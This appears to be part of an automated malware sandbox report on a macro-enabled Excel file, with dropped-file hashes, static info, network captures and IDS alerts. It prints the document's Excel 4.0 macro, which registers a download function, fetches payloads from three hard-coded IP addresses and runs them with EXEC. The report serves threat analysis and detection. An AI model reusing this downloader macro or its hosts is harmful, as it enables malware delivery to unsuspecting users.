                                                                                                                                                  SSDEEP:48:8Oqqmx4ZRbN+R0B6pOqqmx4ZRbN+R0B6:8OqZxGKOqZxG
                                                                                                                                                  MD5:F68FABDA7B431BC7117B9CB1247829D3
                                                                                                                                                  SHA1:FCB4AFC30942445AC64BD4BE49882066CE48DD7B
                                                                                                                                                  SHA-256:82088262E970AF3433C30116DC65526B476261FCCB7EEBEEC201D9637CFB4AB3
                                                                                                                                                  SHA-512:8754B929795F17659386A0260CA5FB12CDE3DA433872F165DB95DAC8A33E6DF761886EA790504B739C4E6869DA09FE5EB3EF66B243DAF4AFC36C41E339A066A7
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: L..................F.... ...+%oT.....m..i......i..SV...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L...R.....................:......;..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Q}<..user.<.......N...R.....#J....................E...j.o.n.e.s.....~.1.....>Q.<..Desktop.h.......N...R......Y..............>.........D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2..X...R.. .PERMIS~1.XLS..x......>Q|<.R.......V.................... ..P.e.r.m.i.s.s.i.o.n.-.1.5.3.2.1.6.1.7.9.4.-.0.6.2.5.2.0.2.1...x.l.s.m.......i...............-.......h...........>.S......C:\Users\user\Desktop\Permission-1532161794-06252021.xlsm..:.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.P.e.r.m.i.s.s.i.o.n.-.1.5.3.2.1.6.1.7.9.4.-.0.6.2.5.2.0.2.1...x.l.s.m.........:..,.LB.)...As...`.......X.......992547...........!a..%.H.VZAj....................!a..%.H.VZAj...............................1SPS.XF.L8C....&.m.q............/...S.-.1
                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):145
                                                                                                                                                  Entropy (8bit):4.723147476288188
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:oyBVomxW+LxbLgIVTAXsUltLxbLgIVTAXsUlmxW+LxbLgIVTAXsUlv:djHbMoTAZ/FbMoTAZabMoTAZ1
                                                                                                                                                  MD5:2B794DCA717665E095522B867972E337
                                                                                                                                                  SHA1:E4C6872AF74D6866D0ECD036AAC3D400FB1C26B8
                                                                                                                                                  SHA-256:AC0912D3AA6518006F9468C464A706D473CE49DDA61B0B553CAE5713F17B660C
                                                                                                                                                  SHA-512:8F12A3A19EB076EAFAF6D71B07E869DAB6EB112B7CE9735868E736065B3242E0A2D5ADFBFFA01FDB0635A780B82E590B349010444F7A0CF161228BD57C2808B5
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: Desktop.LNK=0..[misc]..Permission-1532161794-06252021.LNK=0..Permission-1532161794-06252021.LNK=0..[misc]..Permission-1532161794-06252021.LNK=0..
                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:Little-endian UTF-16 Unicode text, with CR line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):22
                                                                                                                                                  Entropy (8bit):2.9808259362290785
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:QAlX0Gn:QKn
                                                                                                                                                  MD5:7962B839183642D3CDC2F9CEBDBF85CE
                                                                                                                                                  SHA1:2BE8F6F309962ED367866F6E70668508BC814C2D
                                                                                                                                                  SHA-256:5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
                                                                                                                                                  SHA-512:2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:high, very likely benign file
                                                                                                                                                  Preview: ....p.r.a.t.e.s.h.....
                                                                                                                                                  C:\Users\user\Desktop\9CB40000
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):153171
                                                                                                                                                  Entropy (8bit):7.664966585820284
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3072:EQUmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOgR:d4P4346PgZw9gQan
                                                                                                                                                  MD5:93018B8EB88D66BA616B1E5A63724657
                                                                                                                                                  SHA1:6CEE267F86F12A4DC88A2AD5E1E1DC5486C88B75
                                                                                                                                                  SHA-256:1AF5845512D99A10E15252A002BD7EB0501246848D787ECA735C763B1608345E
                                                                                                                                                  SHA-512:2E3C2CA9191A8D0366D39F676D57A1786D3078CCB91BE13259C2F193928EAAC6DAC546DEF2151D02A5493A96EFB13DA71E7DC373C5811BD029DA5BD3D0D6219C
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: ..Mn.0....z...B..EP...H.e. ....Xb.?.Lb.C.Q...,..X..y.Gi8.Y.].a...]T.V..N*.....g...1......1..../...XP..5kS..G..X9..V...H.34.XB..r2....6.)k......U..nE.o..e.....x...DF.... .[,.@..!.*.. c....|PD....5.......8..*;c.U>~............S.29...MF....%.x..~....J.w..s..anN...W.u.EV....Y.k.5P......2..rq.......N:.....F...T..\...hL..6.c(.#.D.5.....d..i.1......[.(...........!..g.|....B.\.Z...9.^.....Cp>...p...i..KOB...~...]=.N..;.||I.;.;.g........PK..........!...&n....o.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                  C:\Users\user\Desktop\~$Permission-1532161794-06252021.xlsm
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):330
                                                                                                                                                  Entropy (8bit):1.6081032063576088
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:RFXI6dtBhFXI6dtt:RJZhJ1
                                                                                                                                                  MD5:836727206447D2C6B98C973E058460C9
                                                                                                                                                  SHA1:D83351CF6DE78FEDE0142DE5434F9217C4F285D2
                                                                                                                                                  SHA-256:D9BECB14EECC877F0FA39B6B6F856365CADF730B64E7FA2163965D181CC5EB41
                                                                                                                                                  SHA-512:7F843EDD7DC6230BF0E05BF988D25AE6188F8B22808F2C990A1E8039C0CECC25D1D101E0FDD952722FEAD538F7C7C14EEF9FD7F4B31036C3E7F79DE570CD0607
                                                                                                                                                  Malicious:true
                                                                                                                                                  Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                  Static File Info

                                                                                                                                                  General

                                                                                                                                                  File type:Microsoft Excel 2007+
                                                                                                                                                  Entropy (8bit):7.666395274852154
                                                                                                                                                  TrID:
                                                                                                                                                  • Excel Microsoft Office Open XML Format document (40004/1) 83.33%
                                                                                                                                                  • ZIP compressed archive (8000/1) 16.67%
                                                                                                                                                  File name:Permission-1532161794-06252021.xlsm
                                                                                                                                                  File size:153750
                                                                                                                                                  MD5:bff78ca6421651b824c41ff73cd63a4d
                                                                                                                                                  SHA1:8a439fe82292dfb61092daa32af6f0152400f002
                                                                                                                                                  SHA256:b4c8a880fae666add98f9a871210d75f7addd4a00a334fb758c791c5ad1d3711
                                                                                                                                                  SHA512:728a7ba287c987f67b480e07d8d947f784c51516743c17dfd5737eb9f4be958b2526452011418bc97c77fc1ff43f35e9bb6d5835d605b3905c96452392d5f183
                                                                                                                                                  SSDEEP:3072:ymKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOYJ:J4P4346PgZw9gQaVJ
                                                                                                                                                  File Content Preview:PK..........!.........o.......[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                  File Icon

                                                                                                                                                  Icon Hash:74ecd0e2f696908c

                                                                                                                                                  Static OLE Info

                                                                                                                                                  General

                                                                                                                                                  Document Type:OpenXML
                                                                                                                                                  Number of OLE Files:1

                                                                                                                                                  OLE File "Permission-1532161794-06252021.xlsm"

                                                                                                                                                  Indicators

                                                                                                                                                  Has Summary Info:
                                                                                                                                                  Application Name:
                                                                                                                                                  Encrypted Document:
                                                                                                                                                  Contains Word Document Stream:
                                                                                                                                                  Contains Workbook/Book Stream:
                                                                                                                                                  Contains PowerPoint Document Stream:
                                                                                                                                                  Contains Visio Document Stream:
                                                                                                                                                  Contains ObjectPool Stream:
                                                                                                                                                  Flash Objects Count:
                                                                                                                                                  Contains VBA Macros:

                                                                                                                                                  Macro 4.0 Code

                                                                                                                                                  ,=NOW()&H8,.dat,,,,,,,"=REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)","=""http://185.240.103.219/""","=Jerutyg(0,F13&G8,""..\Kro.fis"",0,0)","=""http://190.14.37.3/""","=Jerutyg(0,F14&G8,""..\Kro.fis1"",0,0)","=""http://185.183.99.120/""","=Jerutyg(0,F15&G8,""..\Kro.fis2"",0,0)",,,,,,,,,,,,,,,,,,,,=RUN(Sheet4!I9),
                                                                                                                                                  =EXEC(Sheet2!O22)"=EXEC(Sheet2!O22&""1"")""=EXEC(Sheet2!O22&""2"")"=HALT()

                                                                                                                                                  Network Behavior

                                                                                                                                                  Snort IDS Alerts

                                                                                                                                                  TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                                                                  06/25/21-18:25:14.440139TCP1201ATTACK-RESPONSES 403 Forbidden8049167190.14.37.3192.168.2.22
                                                                                                                                                  06/25/21-18:25:14.809690TCP1201ATTACK-RESPONSES 403 Forbidden8049168185.183.99.120192.168.2.22

                                                                                                                                                  Network Port Distribution

                                                                                                                                                  TCP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Jun 25, 2021 18:32:01.821965933 CEST4973780192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 18:32:01.907430887 CEST8049737185.240.103.219192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:02.480711937 CEST4973780192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 18:32:02.565082073 CEST8049737185.240.103.219192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:03.168081999 CEST4973780192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 18:32:03.253580093 CEST8049737185.240.103.219192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:03.262284040 CEST4974080192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 18:32:03.467492104 CEST8049740190.14.37.3192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:03.467669964 CEST4974080192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 18:32:03.468373060 CEST4974080192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 18:32:03.673389912 CEST8049740190.14.37.3192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:04.265234947 CEST8049740190.14.37.3192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:04.265319109 CEST4974080192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 18:32:04.277431965 CEST4974280192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 18:32:04.341341019 CEST8049742185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:04.341444016 CEST4974280192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 18:32:04.342022896 CEST4974280192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 18:32:04.407697916 CEST8049742185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:04.611535072 CEST8049742185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:04.611649036 CEST4974280192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 18:33:09.265862942 CEST8049740190.14.37.3192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:33:09.265971899 CEST4974080192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 18:33:09.610877991 CEST8049742185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:33:09.610984087 CEST4974280192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 18:33:47.856395960 CEST4974280192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 18:33:47.856620073 CEST4974080192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 18:33:47.920977116 CEST8049742185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:33:48.062709093 CEST8049740190.14.37.3192.168.2.4

                                                                                                                                                  UDP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Jun 25, 2021 18:31:46.350079060 CEST6238953192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:46.407006025 CEST53623898.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:48.061602116 CEST4991053192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:48.117014885 CEST53499108.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:48.440671921 CEST5585453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:48.499999046 CEST53558548.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:49.180454969 CEST6454953192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:49.227329016 CEST53645498.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:51.091434956 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:51.153584957 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:56.540802956 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:56.592520952 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:57.853274107 CEST5370053192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:57.961118937 CEST53537008.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:58.318677902 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:58.389087915 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:58.394213915 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:58.438808918 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:31:59.339762926 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:31:59.406090021 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:00.387947083 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:00.442754030 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:01.926492929 CEST5653453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:01.985805035 CEST53565348.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:02.434140921 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:02.488990068 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:03.092336893 CEST5662753192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:03.139640093 CEST53566278.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:04.208774090 CEST5662153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:04.256781101 CEST53566218.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:05.285780907 CEST6311653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:05.333976030 CEST53631168.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:06.467760086 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:06.522268057 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:11.764525890 CEST6407853192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:11.811280966 CEST53640788.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:13.902293921 CEST6480153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:13.950408936 CEST53648018.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:15.029966116 CEST6172153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:15.076190948 CEST53617218.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:16.227045059 CEST5125553192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:16.275424004 CEST53512558.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:17.352418900 CEST6152253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:17.407267094 CEST53615228.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:18.545523882 CEST5233753192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:18.594618082 CEST53523378.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:19.385287046 CEST5504653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:19.454963923 CEST53550468.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:19.736726999 CEST4961253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:19.800430059 CEST53496128.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:20.825222969 CEST4928553192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:20.882354021 CEST53492858.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:36.462814093 CEST5060153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:36.518059015 CEST53506018.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:37.117238998 CEST6087553192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:37.183410883 CEST53608758.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:37.592454910 CEST5644853192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:37.654913902 CEST53564488.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:37.781728983 CEST5917253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:37.838856936 CEST53591728.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:38.301932096 CEST6242053192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:38.351290941 CEST53624208.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:38.920917988 CEST6057953192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:38.977068901 CEST53605798.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:39.632919073 CEST5018353192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:39.689133883 CEST53501838.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:40.127127886 CEST6153153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:40.186813116 CEST53615318.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:40.754808903 CEST4922853192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:40.812793016 CEST53492288.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:41.277688980 CEST5979453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:41.324316978 CEST53597948.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:42.502928019 CEST5591653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:42.560535908 CEST53559168.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:43.915013075 CEST5275253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:43.971676111 CEST53527528.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:54.305413008 CEST6054253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:54.378051996 CEST53605428.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:54.598557949 CEST6068953192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:54.670133114 CEST53606898.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:32:56.888119936 CEST6420653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:32:56.944401026 CEST53642068.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 18:33:03.018913984 CEST5090453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 18:33:03.091239929 CEST53509048.8.8.8192.168.2.4

                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                  • 190.14.37.3
                                                                                                                                                  • 185.183.99.120

                                                                                                                                                  HTTP Packets

                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  0192.168.2.449740190.14.37.380C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  Jun 25, 2021 18:32:03.468373060 CEST1402OUTGET /44372.7722377315.dat HTTP/1.1
                                                                                                                                                  Accept: */*
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                  Host: 190.14.37.3
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  Jun 25, 2021 18:32:04.265234947 CEST1414INHTTP/1.1 403 Forbidden
                                                                                                                                                  Server: nginx
                                                                                                                                                  Date: Fri, 25 Jun 2021 16:32:04 GMT
                                                                                                                                                  Content-Type: text/html
                                                                                                                                                  Content-Length: 548
                                                                                                                                                  Connection: keep-alive
                                                                                                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                                                                                                                                  Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  1192.168.2.449742185.183.99.12080C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  Jun 25, 2021 18:32:04.342022896 CEST1415OUTGET /44372.7722377315.dat HTTP/1.1
                                                                                                                                                  Accept: */*
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                  Host: 185.183.99.120
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  Jun 25, 2021 18:32:04.611535072 CEST1416INHTTP/1.1 403 Forbidden
                                                                                                                                                  Server: nginx
                                                                                                                                                  Date: Fri, 25 Jun 2021 16:32:19 GMT
                                                                                                                                                  Content-Type: text/html
                                                                                                                                                  Content-Length: 548
                                                                                                                                                  Connection: keep-alive
                                                                                                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
